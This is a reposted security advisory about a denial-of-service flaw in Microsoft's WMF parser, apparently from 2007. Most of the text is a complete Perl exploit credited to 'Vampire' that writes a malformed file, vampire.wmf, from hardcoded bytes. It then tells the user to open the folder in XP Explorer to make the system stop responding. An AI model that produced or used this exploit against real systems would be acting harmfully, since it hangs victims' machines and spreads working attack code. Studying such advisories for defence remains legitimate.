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Microsoft Malformed WMF DoS
------------------------------------------------------------------------
SUMMARY
A vulnerability in Microsoft's WMF parser allows attackers to cause the
operating system to stop responding by supplying it a specially
constructed WMF file.
DETAILS
Exploit:
#!/usr/bin/perl
# WMF 0-day Dos Exploit
# Exploit Coded by Vampire (Form Iran)
# Contact : Vampire_Chiristof@yahoo.com
# Bug Found by Orbital
# Gr33tz To : Spy , l0pht.blackhat , Samir , Scorpino y4nliz and All
Iranian Hackers and Programmers !!!
# Contact : orbital_q3nius@yahoo.com
# Coded In Perl , PHP , Python
# the C version written but Still priv8
print "\nWMF Denial of Service Exploit by Vampire in PHP , PERL , PYTHON ,
C";
print "\n\nGenerating vampire.wmf...";
open(WMF, ">./vampire.wmf") or die "Cannot Create WMF File !\n";
print WMF
"\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64";
print WMF
"\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF
"\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF
"\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print WMF "\x00\x00\x00\x00";
close(WMF);
print "ok\n\nNow Try To Browse Folder In XP Explorer And Wait !!!\n";
# milw0rm.com [2007-01-10]
ADDITIONAL INFORMATION
The information has been provided by <mailto:Vampire_Chiristof@yahoo.com>
Vampire Chiristof.
The original article can be found at:
<http://www.milw0rm.com/exploits/3111>
http://www.milw0rm.com/exploits/3111
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